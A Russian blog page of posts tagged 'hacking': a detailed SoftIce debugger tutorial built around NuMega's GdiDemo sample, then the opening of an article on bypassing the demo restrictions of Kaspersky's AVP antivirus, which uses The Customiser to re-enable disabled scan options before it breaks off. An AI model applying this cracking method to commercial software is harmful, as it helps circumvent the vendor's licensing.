Записи с меткой «взлом»

интернетВсе эти вопросы возникают по одной простой причине: вся документация, которую можно найти в Internet’e, написана на английском языке, автору известна только одна статья на русском языке, и та, к сожалению, очень не полная. Чтобы заполнить этот информационный вакуум, и было написано это эссе. Сколько человек, столкнувшись с этими проблемами, “снесли” SoftIce и забыли о нем как о страшном сне, подсчитать трудно, а жаль – ведь это лучший отладчик на сегодняшний день.
Сразу хочется сделать несколько замечаний: первое, если вы после прочтения этой статьи все-таки возьметесь за SoftIce, то вам придется заняться английским языком, хотите вы этого или нет (почему – см.выше); второе, данная статья не претендует на роль документации, она была составлена как обзор той информации, которая была у автора на английском языке, а это фирменное руководство от фирмы NuMega – автора SoftIce-a, статьи и эссе, найденные в Интернете на различных сайтах, посвященных SoftIce и Reverse Engineering. По этой причине в статье возможны ошибки и неточности, автор будет благодарен за их исправление. В статье описывается последняя версия SoftIce 3.24 для WIN95, но большая часть сказанного относится и к предыдущим версиям. Предполагается, что читающие эту статью имеют минимальные знания об устройстве процессора и компьютера и представляют, что такое ассемблер.

Что такое SoftIce?
SoftIce состоит из отладчика уровня ядра (kernel mode debugger) (собственно, это и есть отладчик) и утилиты загрузчик отладочной информации (Symbol Loader). SoftIce – это универсальный отладчик, которым можно отладить любой код, включая подпрограммы прерывания и драйверы ввода-вывода. Утилита Symbol Loader загружает отладочную информацию для вашего модуля, позволяет настроить SoftIce, и дает возможность записать историю комманд (history buffer) в файл.
SoftIce совмещает в себе мощь аппаратного отладчика и удобство символьного, он имеет следующие возможности:
Символьная отладка 32-битных приложений, отладка драйверов устройств для WIN NT, драйверов для WIN95, VxD, 16-битных программ для DOS и Windows.
Отладка фактически любого кода, включая подпрограммы прерывания и внутренние подпрограммы WIN 95 и WIN NT.
Установка точек останова на операции чтения/записи в память, чтения/записи портов ввода-вывода, прерываний.
Установка точек останова на сообщения Windows.
Установка точек останова, срабатывающих при определенных условиях (условных точек останова), и действий, которые должны произойти при срабатывании точки останова.
И многое другое …
Symbol Loader позволяет прочитать отладочную информацию из отлаживаемых программ (EXE, DLL, VxD, 386, OCX) и загрузить ее в отладчик, запустить ваше приложение и автоматически установить точку останова на точку входа в программу, записать в файл протокола отладки.

Инсталляция
Аппаратные требования (от NuMega):
Процессор:486 или Pentium.
ОЗУ:необходимо 16 Мб (хотя в свое время работал и на 8), желательно 32 Мб.
Мышка:обычная или PS (интересно, а кто в виндах без нее работает?).
Видеокарта:начиная с версии 3.2, в SoftIce входит универсальный дисплейный адаптер, который должен работать с любой видеокартой, также есть драйвера и для большого числа видеокарт.
SoftIce поддерживает работу с:
одной видеокартой (стандартный вариант)
с двумя видеокартами (вторая видеокарта должна быть MDA (Monochrome Display Adapter) или Hercules-совместимая)
с двумя обычными видеокартами при условии, что они будут работать вместе
удаленную отладку (со вторым компьютером, который соединяется с первым посредством COM-порта (remote debugging));
На диске занимает 5,8 Мб.
При инсталляции, как обычно, введите директорию, куда вы хотите поставить SoftIce, выберите компоненты, которые хотите поставить, после чего попадете в окно выбора видеоадаптера. SoftIce сам определяет видеокарту, если она соответствует вашей – нажмите кнопку Test, экран должен переключится в текстовый режим и вы увидите фразы “SoftIce is totally awesome!” на всем экране, а в середине отсчет цифр от 5 до 1. Если вы это увидели, то значит настройка видеоадаптера прошла успешно – жмите кнопку Next, если же у вас сбилась развертка, пропало изображение или повисла машина, то значит у SoftIce проблемы с видеокартой, для их решения существуют два пути: первый, включить универсальный видеоадаптер – должно помогать всегда (на моем Matrox Mistique проходит только этот вариант), тогда SoftIce будет работать в окне: второй, подобрать из числа представленных видеоадаптеров аналог вашему (у меня с S3 TRIO 64 вис (правда SoftIce был 3.01), а с DS 2000 работал на-ура); вам решать какой вариант лучше.
После выбора адаптера выберите тип мыши, которой вы пользуетесь (хотя мышь можно и не ставить, без нее тяжело работать в SoftIce). Далее разрешите модифицировать свой autoexec.bat для того, чтобы SoftIce загружался при старте компьютера. Подтвердите выбранную конфигурацию и следите за тем, как SoftIce ставится на вашу машину. На предложение перезагрузить компьютер, согласитесь. После перезагрузки нажмите клавиши Ctrl-D. Если вместо рабочего стола вы увидите какие-то непонятные буквы и цифры, то считайте, что установку SoftIce на машину вы закончили, и наступает этап настройки. Если же ничего не случилось, или машина повисла при загрузке, то проверьте все ли вы правильно сделали. Если SoftIce не загрузился, проверьте, прописана ли в autoexec.bat строка запуска, она всегда последняя и выглядит приблизительно так: C:WINDEBUGSICE324WINICE.EXE, если нет – пропишите ее с вашим путем. Если машина повисла, то причина, скорее всего в неверной конфигурации видеоадаптера. Попробуете изменить ее.
Кстати, все настройки, которые вы проводили при инсталляции можно изменить: Пуск – Программы – NuMega SoftIce.

Настройка:
Откройте на редактирование файл winice.dat, который находится в той же директории что и SoftIce (в случае NT – в каталоге %SystemPath%system32drivers), и уберите точку с запятой со следующих строк:
; ***** Examples of export symbols that can be included for Windows 95 *****
;Change the path to the appropriate drive and directory
EXP=c:windowssystemkernel32.dll – убрать;
EXP=c:windowssystemuser32.dll – убрать;
EXP=c:windowssystemgdi32.dll – убрать;
Проверьте путь к файлам kernel32,user32,gdi32, он должен соответствовать вашему (Актуально в случае, если windows ставилась в каталог отличный от C:WINDOWS).
Эта операция нужна для того, чтобы при отладке программы при вызове системных функций вы увидели имя вызываемой функции, а не какой-то call [xxxxxxxx].
Пример:
Call [USER32!GetWindow], вместо CALL [BFC01480].
На мой взгляд первое выглядит значительно информативней.
Исправьте строку INIT в соответствии с одним из примеров:
INIT=”WR;WD;WL;X;” – если вы используете видеодрайвер для “родной” видеокарты (полноэкранный режим).
INIT=”SET FONT 3;SET ORIGIN -10 25;WR;WD 4;WL;WC 12;X;” – если вы используете универсальный видеодрайвер (оконный режим).
INIT=”SET FONT 1; SET ORIGIN 30 30;LINES 60;WIDTH 90;WR;WD 4;WL;WC 12;X;” – вариант, работающий на моей машине и выводящий на экран максимум информации (оконный режим), возможно для вашей машины потребуется изменить значение некоторых параметров.
Если вы хотите передвинуть окно с SoftIce, то используйте клавиши Ctrl-Alt-(одна из клавиш управления курсором).
Более подробно команды и переменные SoftIce будут рассмотрены ниже, тогда вы сможете настроить SoftIce на свой вкус.

Первые шаги
Если вы все еще читаете этот опус, то для вас настал долгожданный момент истины :-) , пора посмотреть как это все работает в деле. В поставку SoftIce входит пример GdiDemo, его и будем отлаживать (придерживаясь указаний фирмы NuMega).
Пример без проблем собрался в VC4 (не забудьте включить отладочную информацию), в BC 5.02 пример тоже собрался, но отладочную информацию Symbol Loader не увидел, хотя в TD она грузится. Тот, кому лень собирать проект самому, может скачать его отсюда: Gdidemo.zip (или отсюда ), архив занимает 0.1 Мб.

1. Загрузка отлаживаемой программы.
Запускаем Symbol Loader, выбираем опцию Open module в меню File, идем туда, где у вас лежит Gdidemo.exe, и открываем его, далее в меню Module нажимаем на опцию Load. SL оттранслирует отладочную информацию в .NMS файл, загрузит исходные файлы, запустит отлаживаемую программу (в данном случае Gdidemo) и всплывет в SoftIce, где вы увидите исходный текст программы.
Подсвеченная строка с номером 35 – это точка входа (entry point) в вашу программу. Если SL вывел сообщение типа “An error occured during symbol translation/load”, значит в отлаживаемом файле отсутствует отладочная информация, жмите OK и наслаждайтесь [диз]ассемблером.

2. Управление SoftIce’ом.
Если Вы все правильно сделали, то вы должны увидеть SoftIce разбитый на несколько окон. Верхнее окно – Register Window (окно регистров) – показывает состояние рабочих регистров процессора. Под ним находится окно данных Data Window, в нем вы можете посмотреть или отредактировать дамп памяти. Ниже находится Code Window (окно кода) – в нем находится исходный текст программы (если вы загрузили отладочную информацию), или дизассемблированный код программы. В самом низу находиться окно команд – Command Window, в нем вы можете вводить команду и видеть результат их выполнения. Самая нижняя строчка – строка помощи, в ней при вводе подсвечиваются возможные варианты команд и их синтаксис. Удобнее всего управлять SoftIce с помощью мышки, но можно и без нее, хотя и не так удобно.

2.1 Управление с помощью мышки:
Вы можете: изменять размер окон и закрывать их (нельзя изменить размер окна регистров и FPU); скроллировать окна как на одну строку, так и на целый экран; изменять значение регистров, флагов, ячеек памяти, устанавливать точки останова на исполнение, удалять из Watch Window переменные, которые больше не нужны. Правая кнопка мыши вызывает контекстное меню, в котором вы можете выбрать одну из представленных команд; работают команды с буфером обмена Windows.
Изменение размера окна – подведите курсор к нижней границе того окна, которому хотите изменить размер или закрыть его, нажмите левую кнопку мыши и ведите ее вниз (увеличение размера) или вниз (уменьшение размера), если хотите закрыть окно, подведите нижнюю границу к верхней, в окне появится фраза Close current window и окно исчезнет.
Скроллинг на одну строку – подведите курсор к маленьким стрелочкам, расположенным у границ того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен двум строчкам).
Скроллинг на экран – подведите курсор к большим стрелочкам расположенным внутри того окна, которое хотите скроллировать и жмите левую кнопку мыши (стрелочки появляются, если размер окна больше или равен четырем строчкам).
Изменение значений регистров – подведите курсор к тому регистру, значение которого хотите изменить, нажмите левую кнопку мыши и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте.
Изменение значений флагов – подведите курсор к тому флагу, который хотите изменить, нажмите левую кнопку мыши, после чего клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая установлен).
Изменение значений ячеек памяти – подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить, нажмите левую кнопку мыши и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте.
Примечание: во всех случаях изменения значений они вступают в силу после того, как вы переключитесь в любое другое окно, до этого можно отменить последнее изменение, нажав Esc.
Установка точек останова на исполнение – подведите курсор к той строке в Code Window, в которой хотите остановиться, и двойным щелчком по левой кнопке мыши поставьте точку останова, строка подсветится.
Удаление из Watch Window переменных – установите курсор на переменную, которую хотите удалить, нажмите левую кнопку мыши, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
Контекстное меню – по правой кнопке мыши вы попадаете в контекстное меню, в котором вам доступны команды:
Copy – копировать в буфер обмена адрес или данные, находящиеся под курсором.
Paste – вставить в окно команд, адрес или данные находящиеся в буфере обмена
Copy&Paste – копировать в буфер обмена адрес или данные, находящиеся под курсором, и вставить их в окно команд.
Display – вывести в окно данных дамп памяти, расположенный по адресу, над которым в данный момент находиться курсор (Аналог команды D).
Un-Assemble – вывести в Code Window исходный (если есть отладочная информация) или дизассемблированный текст программы, находящийся по адресу, над которым в данный момент находиться курсор (Аналог команды U).
What – идентифицирует значение, находящееся под курсором с заранее определенными (Аналог команды Wath).
Previous – отменяет предыдущую команду, введенную из контекстного меню (работает с командами Display и Un-Assemble).

2.2 Управление с помощью клавиатуры:
Можете делать все то же самое, но будет отсутствовать контекстное меню и буфер обмена.
Изменение размера окна – размер (в строках) непосредственно задается в команде открытия окна, если нужно.
WC – открыть окно кода (Code Window).
WD – открыть окно данных (Data Window).
WF – открыть окно FPU Stack (FPU Stack Window).
WL – открыть окно локальных переменных (Locals Window).
WR – открыть окно регистров (Register Window).
WW – открыть окно слежения (Watch Window).
Повторный ввод этих команд без параметров закрывает соответствующие окна, с параметрами – меняет размер.
По умолчанию курсор находиться в окне команд. Переместить курсор в нужное окно можно следующими комбинациями клавиш (если вы находитесь в окне команд (Command Windows)):
Перейти в окно кода (Code Window)Alt-C
Перейти в окно данных (Data Window)Alt-D
Перейти в окно локальных переменных (Locals Window)Alt-L
Перейти в окно регистров (Register Window)Alt-R
Перейти в окно слежения (Watch Window)Alt-W
В окно сопроцессора курсор переместить нельзя.
Повторное нажатие этих клавиш возвратит вас обратно в окно команд (все вышесказанное действительно и для Code Window).
В окне данных переключиться между дампами в HEX и ASCII формате можно с помощью клавиши Tab, с ее же помощью можно переходить между регистрами в окне регистров.
Скроллинг на одну строку – переходите в нужное окно и клавишами управления курсор вверх и курсор вниз скроллируете окно.
Скроллинг на экран – переходите в нужное окно и клавишами PageUp и PageDown скроллируете окно.
Примечание: Code и Data Window можно скроллировать и не переключаясь в них из окна команд, для этого нужно кроме управляющих клавиш удерживать еще Alt для Data Window и Ctrl для Code Window.
Изменение значений регистров – перейдите в окно регистров, подведите курсор к тому регистру, значение которого хотите изменить и введите число, если нужно изменить одну цифру, то подводите курсор к этой цифре и меняйте, нажатие Enter подтверждает изменение, Esc отменяет.
Изменение значений флагов – перейдите в окно регистров, подведите курсор к тому флагу, который хотите изменить. После чего, клавишей Ins можно изменить значение флага на противоположное (маленькая буква означает, что флаг не установлен, большая – установлен), Enter можно не нажимать.
Изменение значений ячеек памяти – перейдите в окно данных, подведите курсор к тому байту (слову, двойному слову и т.д.), которое хотите изменить и вводите ваше значение, если хотите изменить одну или несколько цифр в числе, то подведите курсор с помощью клавиатуры к нужным числам и меняйте. Нажатие Enter или переход к следующему числу подтверждает изменение, Esc отменяет.
Установка точек останова на исполнение – в окне команд наберите команду BPX и введите адрес строки, на которой хотите остановиться.
Удаление из Watch Window переменных – перейдите в Watch Window, установите курсор на переменную, которую хотите удалить, переменная подсветиться, нажмите кнопку Del – переменная исчезнет.
После небольшой лекции по управлению SoftIce можно заняться и собственно отладкой. Так как мы отлаживаем программу, написанную на языке высокого уровня и с отладочной информацией, то можем отключить окно регистров и окно данных, и включить Locals Window, что бы видеть какие параметры передаются в процедуры (т.е. WD,WR,WL при условии, что пользовались настройками приведенными выше).
Что бы посмотреть какие из исходных текстов программы были загружены – дайте команду FILE *.
На экране в окне команд вы увидите имена файлов содержащих исходные тексты программы GdiDemo: Bounce.c, Wininfo.c, Poly.c, Maze.c, Init.c, Draw.c, Dialog.c, Xform.c, Gdidemo.c. Так как окно команд обычно небольшое, то вы увидите несколько первых имен файлов. В строке помощи будет присутствовать надпись “Press any key to continue; Esc to cancel”, вы можете с помощью клавиши Enter. Получить следующую строку с именем файла, или, нажав на пробел, получить следующую порцию строк с именами файлов (действительно для всех сообщений выводимых в окне команд).
Если в процессе изучения листинга программы вы забрались слишком далеко от текущего значения EIP, то вернутся можно командой:
:U EIP – дизасемблировать программу начина с текущего EIP адреса, либо командой;
:. (точка) – переместиться к текущей исполняемой инструкции.

3. Трассировка программы.
Воспользуйтесь командой T (trace) для того чтобы оттрассировать одну команду, или клавишей F8, которая закреплена по умолчанию за командой T. Произойдет выполнение команды находящейся в текущей строке и курсор перейдет на следующую строку и подсветит ее. Это строка:
LpszLine=LpszLine;
Еще раз нажмите F8, курсор передвинется на следующую строку:
if(!hPrevInst).
В Code Window вы видите исходный текст программы (source mode). Если вы хотите посмотреть дизассемблированный (code mode) текст программы или исходный и дизассемблированный (mixed mode) текст вместе, воспользуйтесь командой SRC или клавишей F3 закрепленной за этой командой. При первом нажатии вы увидите смешанный (исходный текст программы и ассемблерные инструкции, из которых состоит эта строка) текст, при втором нажатии дизассемблированный, третье нажатие вернет вас в режим просмотра исходного текста программы.
Нажмите еще раз F8 и вы перейдете к строке
if(!RegisterAppClass(hInst));
Для того, чтобы отлаживать программу, вы пользуетесь командой Т, которая исполняет один оператор исходной программы или одну машинную команду.
Еще существует команда P или клавиша F10, которая выполняет один шаг в программе, т.е. при трассировке какой-либо функции или прерывания вы не получите управления до тех пор, пока выполнение функции не завершится, и вы не вернетесь из функции обратно. Команду P удобно применять в том случае, когда вы отлаживаете основной алгоритм и отвлекаться на трассировку каждой процедуры нерационально.
Примечание: Командой T нельзя оттрассировать системные вызовы (WIN32 API calls) находясь в source mode, для их трассировки нужно перейти в mixed или code mode.

4. Просмотр локальных переменных.
Окно Locals Window показывает текущий кадр стека. В нашем случае он содержит локальные переменные для функции WinMain.
Командой T войдите в функцию RegisterAppClass, окно Locals Window станет пустым, так как для этой функции еще не определены локальные переменные. Функция RegisterAppClass находится в файле INIT.C. SoftIce показывает текущий файл в левом верхнем углу Code Window
Введите команду T снова, окно Locals Window будет содержать параметр переданный функции RegisterAppClass (hInstance) и локальную структуру wndClass. Перед структурой стоит знак плюс, который означает что внутри находятся переменные, которые можно посмотреть (так же можно смотреть строковые переменные и массивы). Если у вас Pentium и вы пользуетесь мышкой, то посмотреть структуру можно два раза щелкнув по ней мышкой, знак + сменится на – и вы увидите переменные из которых состоит структура. Закрыть структуру можно так же (двойным щелчком мыши). Если вы пользуетесь клавиатурой то последовательность действий такова: жмем Alt-L для перехода в Locals Window, затем курсорными клавишами подводим светящуюся полоску к структуре, которую хотим посмотреть и нажимаем Enter. Если требуется закрыть ее, то нажимаем Enter еще раз.

5. Установка точек останова на выполнение.
Точки останова на выполнение делятся на два вида: просто точки останова и однократные точки останова.
Однократные точки останова:
Перейдите в Code Window, используя клавишу PgDn переместите курсор на строку с номером 61 (тоже самое можно сделать используя команду U .61), в этой строке находиться первый вызов функции Win32 API RegisterClass. Используя команду HERE (клавиша F7) выполните программу до этой строки.
Команда HERE устанавливает точку останова в программе на адрес или строку на которой находиться курсор и выполняет программу с текущего адреса до адреса на котором находиться курсор, т.е. до тех пор пока не сработает точка останова, после срабатывания SoftIce автоматически отключит эту точку останова, что бы она больше не срабатывала.
Текущей строкой в отлаживаемой программе стала строка:
If(!RegisterClass(&wndClass))
Примечание: того же самого результата можно было добиться если бы вы дали команду G .61 (исполнять программу до строки 61).
Обычные точки останова.
Следующие шаги демонстрируют использование обычных точек останова, т.е. таких которые будут срабатывать до тех пор пока вы их не отмените. Найдите следующий вызов функции RegisterClass, находящийся в строке 74. Установите курсор на эту строку и введите команду BPX (BreakPoint eXecutable) или клавишу F9 (по этой команде, в память на место команды расположенной под курсором записывается команда INT3, но вы этого не видите :-) ). Строка должна подсветиться (если вы находитесь в code mode, то после команды BPX необходимо указать адрес строки на которую хотите поставить точку останова). Снять точку останова можно повторным вводом этой же команды. Если вы счастливый обладатель процессора Pentium, то процесс установки и снятия точки останова сводится к двойному щелчку левой кнопкой на той команде, где хотите поставить точку останова. После установки точки останова запустите программу командой G или X (клавиша F5). Когда программа исполнит инструкцию INT3, она передаст управление SoftIce, после чего он появиться перед вами. Посмотреть информацию об установленных точках останова можно командой BL (BreakPoint List):
:BL
00) BPX #0137:00402442 (адрес может быть другим).
Видим что установлена одна точка останова на исполнение по адресу 00402442, с порядковым номером 0. По этому адресу находиться команда, расположенная в текущем файле INIT.C в строке 74. Вы можете использовать вычисление выражений, для того чтобы получить адрес строки по ее номеру: :? .74
void * = 0×00402442
Так как дальнейшая пошаговая трассировка функции RegisterAppClass не имеет для нас смысла, вернемся в то место, откуда эта функция вызывалась. Для этого существует команда P с параметром RET (клавиша F12). Она позволяет выполнять программу до тех пор пока не встретит команду RET (RETF), исполнив эту команду SoftIce выйдет из подпрограммы и остановиться на строке следующей за вызовом этой подпрограммы. Применительно к нашей программе: функция RegisterAppClass вызывается из функции WinMain, SoftIce остановиться в функции WinMain на строке следующей за вызовом функции RegisterAppClass, т.е. подсвечена будет строка:
Msg.wParam = 1;
Воспользуйтесь командой BC (Breakpoint Clear) с номером точки останова, который вы посмотрели с помощью команды BL, для того, что бы убрать именно эту точку останова, или вместо номера введите *, тогда вы уберете все точки останова (можно вводить номера точек останова через запятую, если хотите убрать несколько точек).

6. Использование информационных команд.
SoftIce имеет в своем распоряжении много разных команд, с помощью которых можно узнать состояние и получить иную информацию об операционной системе и запущенных в ней приложениях. Мы рассмотрим только две команды: H (Help) и CLASS. Эти команды выводят достаточно много информации в окне команд (Command Window), поэтому желательно увеличить размер этого окна, для этого закроем окно локальных переменных (Locals Window).
По команда H можно получить помощь по всем командам SoftIce или более подробную информацию о конкретной команде, если введете ее имя в качестве аргумента команды H:
:H CLASS
Display window class information
CLASS [-x] [task-name]
Ex: CLASS USER
Первая строка дает описание команды, вторая показывает информацию о синтаксисе и аргументах, которые могут использоваться в команде, третья строка содержит пример использования команды.
Целью выполнения функции RegisterAppClass является регистрация шаблона для классов окон, которые будут использованы приложением GdiDemo для создания окон. Используя команду CLASS можно посмотреть зарегистрированные классы для GdiDemo:
:CLASS GDIDEMO
Результатом выполнения данной команды является информация о каждом зарегистрированном классе окна. Информация включает в себя: имя класса, адрес внутренней структуры данных WNDCLASS, модуль который зарегистрировал данный класс, адрес процедуры, которая обслуживает данный класс и состояние флагов стиля класса. Для получения подробной информации воспользуйтесь ключом –X.
Handle
Class Name
Owner
WndwProc
Styles

5110
BOUNCEDEMO
GDIDEMO
2E9F:00000114
03000003

40AC
DRAWDEMO
GDIDEMO
2E9F:000000FE
03000003

409C
MAZEDEMO
GDIDEMO
2E9F:000000E8
03000003

3BC4
XFORMDEMO
GDIDEMO
2E9F:000000D2
03000003

3BB4
POLYDEMO
GDIDEMO
2E9F:000000BC
03000003

3A00
GDIDEMO
GDIDEMO
2E9F:000000A6
03000003

7. Символьные имена.
Когда вы загружаете приложение с отладочной информацией, SoftIce автоматически создает таблицу символьных имен которая содержит все имена, определенные в данном приложении. Используя команду TABLE можно посмотреть какие таблицы символьных имен загружены в настоящий момент:
:TABLE
GDIDEMO [NM32]
0001044741 Bytes Of Symbol Memory Available
Используемая в данный момент таблица символьных имен выделена цветом. Если текущая таблица символьных имен не соответствует той на которую ссылается ваше приложение, то используя команду TABLE с именем вашего приложения в качестве аргумента, вы подключите нужную таблицу (если для вашего приложения создана таблица):
:TABLE GDIDEMO
Используя команду SYM вы можете посмотреть все символьные имена, определенные в текущей таблице (на экран выводятся по сегментам, внутри них в алфавитном порядке). Если интересует какие-то определенные имена, то используйте шаблоны:
:SYM w*
.text
(0137:00401000
, 000145C1 bytes)

0137:004012E0
WinMain

0137:00405700
WinMainCRTStartup

0137:004013AD
WndProc

0137:0040AF50
wcslen

0137:0040C160
wcsncnt

0137:004107A0
wctomb

0137:0040FA50
write_char

0137:0040FAD0
write_multi_char

0137:0040FB20
write_string

На экране список всех символьных имен, начинающихся с буквы w, все они расположены в сегменте .text (выполняемый сегмент, он начинается с адреса 0137:00401000 и имеет длину 0145C1H байт), т.е. эти имена – имена функций и процедур входящие в приложение GDIDEMO. Данные находятся в сегментах .data, .rdata, .idata.
8. Условные точки останова.
Одним из символов, определенных в приложении GDIDEMO, является функция LockWindowInfo. Назначение этой функции – возвращение адреса переменных, которые определяют свойства окна. Для того, чтобы ознакомиться с условными точками останова и точками останова на доступ к памяти, мы выполним следующие действий:
Установим точку останова на функцию LockWindowInfo
Отредактируем поставленную точку останова таким образом, чтобы она срабатывала по определенному нами условию.
Установим точку останова на доступ к ячейки памяти, для того чтобы отследить обращения к этой ячейке.
Установка точки останова на функцию LockWindowInfo.
Командой BPX LockWindowInfo поставим точку останова на выполнение на эту функцию. Каждый раз, когда в одном из окон приложения GDIDEMO нужно будет обновить информацию, программой будет вызываться функция LockWindowInfo, так как на эту функцию поставлена точка останова, то будет вызываться SoftIce. Командой BL проверьте, установилась ли точка останова. Запустите приложение командой X или G. Как только будет вызвана функция LockWindowInfo, SoftIce всплывет. Так как обновление происходит постоянно, то постоянно вызывается и SoftIce, что очень неудобно, если нас интересует обновление какого-либо конкретного окна. Чтобы перехватить вызов на обновление конкретного окна, к примеру, POLYDEMO, воспользуемся условной точкой останова. Из исходного текста программы (файл wininfo.c) видно, что функция LockWindowInfo получает в качестве входного аргумента один параметр HWND (Handle Window) – дескриптор окна, и возвращает в вызывающую функцию одно значение – указатель на переменные для данного окна. То есть если бы мы заставили срабатывать точку останова только на обработчик окна POLYDEMO, мы бы добились своей цели. Для начала нам необходимо узнать дескриптор нашего окна, для этого воспользуемся командой:
:HWND GDIDEMO
WindowHandle
hQueue
SZ
Qowner
ClassName
WindowProcedure

0724(1)
10FF
32
GDIDEMO
GDIDEMO
365F:000001C4

0728(2)
10FF
32
GDIDEMO
MdiClient
17A7:00001988

0734(3)
10FF
32
GDIDEMO
BOUNCEDEMO
365F:00000232

0730(3)
10FF
32
GDIDEMO
POLYDEMO
365F:000001DA

072C(3)
10FF
32
GDIDEMO
DRAWDEMO
365F:0000021c

дескриптор окна POLYDEMO имеет значение 0730, если в списке вы не увидели нужного окна, то запустите приложение клавишей X или G, опять сработает точка останова, проверьте, создалось ли окно, если нет, то повторите последние действия. Теперь можно останавливать исполнение программы только в том случае, когда в качестве параметра для функции LockWindowInfo используется значение 0730. В Windows параметры для функции обычно передаются через стек. При остановке в функции LockWindowInfo стек будет выглядеть следующим образом (посмотреть содержимое стека можно подведя курсор к регистру ESP, нажав правую кнопку мыши вызвать контекстное меню и выбрать команду Display, неплохо бы еще сменить командой DD формат вывода данных в DataWindow на показ двойных слов, так как наше приложение 32-разрядное):
ESP = 0055FC00
013F:0055FC00 00404852 00000730 0055FC3C 00008CAA
число 00404852 – это адрес, на который программа перейдет после завершения работы нашей функции (адрес возврата);
число 00000730 – это дескриптор окна POLYDEMO (собственно то, что нас интересует);
Теперь зная, где и что у нас передается в функцию, мы можем выставить условную точку останова. Для этого вызовем на редактирование точку останова, поставленную на функции LockWindowInfo:
:BPE 0
в нижней строке командного окна появиться строка:
:BPX LockWindowInfo
и курсор установиться в конце строки, теперь можете редактировать точку останова по своему усмотрению, в конце строки добавьте следующее условие: IF ESP->4 == 00000730 и нажмите Enter.
Точка останова теперь будет выглядеть так:
:BPX LockWindowInfo IF ESP->4 == 00000730
То есть она будет срабатывать тогда, когда двойное слово по адресу ESP+4 будет равным числу 00000730, которое соответствует дескриптору окна POLYDEMO. Проверьте командой BL, соответствует ли точка останова заданной, запускайте приложение и убедитесь, что вся эта конструкция замечательно работает.
Установим точку останова на доступ к первому двойному слову данных экземпляра окна POLYWINDOW. Как уже отмечалось выше, входным аргументом для функции LockWindowInfo является дескриптор окна, выходным адрес данных экземпляра окна. После срабатывания точки останова поставленной на функции LockWindowInfo с параметром соответствующим дескриптору окна POLYWINDOW, на выходе функции будем иметь адрес данных экземпляра окна POLYWINDOW, по этому адресу и поставим точку останова на доступ к памяти.
Для того чтобы получить адрес данных экземпляра окна, выполним программу до строки с номером 57 (в файле WININFO.C):
:G .57
функция возвращает 32-битное значение (в нашем случае адрес) в регистре EAX, поэтому можно используя команду BPMD (BreakPoint Memory Dword) и значение адреса в регистре EAX, поставить точку останова на доступ к первом слову данных экземляра окна POLYDEMO:
:BPMD EAX
Эта команда использует регистры аппаратной отладки встроенные в процессор для отслеживания чтения и записи двойного слова по указанному линейному адресу. В данном случае это первое слово данных экземпляра окна POLYDEMO. Используйте команду BL что бы проверить правильность установки точки останова.
:BL
00) BPX LOCKWINDOWINFO IF ((ESP->4)==0×00000730)
01) BPMD #015F:0052006C RW DR3
Точка останова с номером 0 установлена на исполнение функции LockWindowInfo и точка останова с номером 1 стоит на доступ к памяти по адресу #015F:0052006C.
Отключите 0 точку останова командой BD (Breakpoint Disable):
:BD 0
В отличие от команды BC, которая удаляет точку останова, команда BD временно отключает точку, т.е. она не будет срабатывать, но ее в любой момент можно включить обратно командой BE (Breakpoint Enable). Отключенные точки останова выделяются звездочками рядом с порядковым номером точки останова.
:BL
00) * BPX LOCKWINDOWINFO IF ((ESP->4)==0×00000730)
01) BPMD #015F:0052006C RW DR3
Запустите SoftIce командами X или G, когда окно POLYDEMO попытается получить доступ к первому двойному слову экземпляра данных окна, сработает точка останова и SoftIce всплывет, это будет происходить в функциях PolyRedraw и PolyDrawBez. Эти функции обращаются к полю nBezTotal, которое находиться по нулевому смещению в данных экземпляра окна POLYDEMO. Значение этого поля задает количество кривых одновременно выводимых в окно POLYDEMO.
Примечание: Из-за особенностей архитектуры процессоров Intel перехват обращения к ячейки памяти произойдет после исполнения команды обращающейся к памяти, т.е. SoftIce осановиться на следующей команде.
Сбросьте все точки останова командой BC * и выйдете из SoftIce.
Если вы добрались до этих строк – значит вы отладили свою первую программу с помощью замечательного отладчика SOFTICE. Но возможности SoftIce не ограничиваются теми, которые мы здесь вкратце рассмотрели, они гораздо больше.
Замеченные ошибки в версии 3.24:
При отладке программы в Code Window неправильно дизассемблируются команды перехода ( JXX SHORT), т.е. стрелочка показывает направление перехода правильно, а в мнемонике он на 100H больше (или меньше – не помню).
Автор выражает огромную благодарность всем тем, кто помогал в написании данного опуса : моей любимое девушке Наденьке; Эрнесту Полетаеву – за приведение в божеский вид того, что я написал и за подробные консультации; Михайлову Антону и Махонину Юре – за идею и возможность осуществления оной; Диме Петрасу – за то что он мой фидошный босс; и всем тем кого здесь нету :-) )).

интернетНаверное, всем известен “легендарный” Евгений Касперский и его антивирусный пакет Antiviral Toolkit Pro. Не буду рассматривать его антивирусные свойства – каждый может оценить их сам. Это дело вкуса. В этой статье рассматриваются свойства защиты этого самого AVP. В исследуемой демо-версии отключена возможность лечения зараженных файлов, анализатор кода, проверка архивов и сжатых файлов. Также отсутсвует возможность проверки писем и почтовых баз данных. Скопировать программу можно с сайта Kaspersky Lab.

Инструменты
1.SoftICE 3.23 for Win95
2.Любой шестнадцатиричный редактор файлов
3.IDA Pro версии выше 3.74

Часть 1. Антивирус своими руками
Как я и говорил, для того, чтобы эту программу заставить заработать следует изучить функции Win32 API, связанные с отображением органов управления. Кроме того, сперва всегда следует выяснить, действительно ли перед нами урезанная и бесполезная демо-версия, или это полностью работоспособная программа с отключенными функциями. В данном случае для этого удобно использовать продукт The Customiser фирмы Wanga International.
Для проверки запустим AVP и посмотрим для начала закладку Обьекты. Сразу видно, что программа не проверяет архивы и упакованые исполняемые файлы. Выбрать эти пункты нельзя – они отключены (disabled) . Запустим The Customiser (который, кстати тоже защищен – возможно появится статья и о нем). Выберем Edit Windows … а там пометим Enable и нажмем кнопку ON. Теперь появившимся уродливым курсором щелкнем на затененном пункте Упакованные Файлы. Неожиданно он перестанет быть затененным и станет обычным, нормальным пунктом. То же проделайте со следующим пунктом (архивы). Теперь отключите Customiser и выберите эти возврещенные к жизни опции. Запустите антивирус, и убедитесь, что теперь он проверяет и архивы. Остановите проверку. Посмотрите на закладку Обьекты. Требуемые опции опять отключены. Ничего удивительного, с помощью Customiser’а мы лишь на время изменили их состояние.
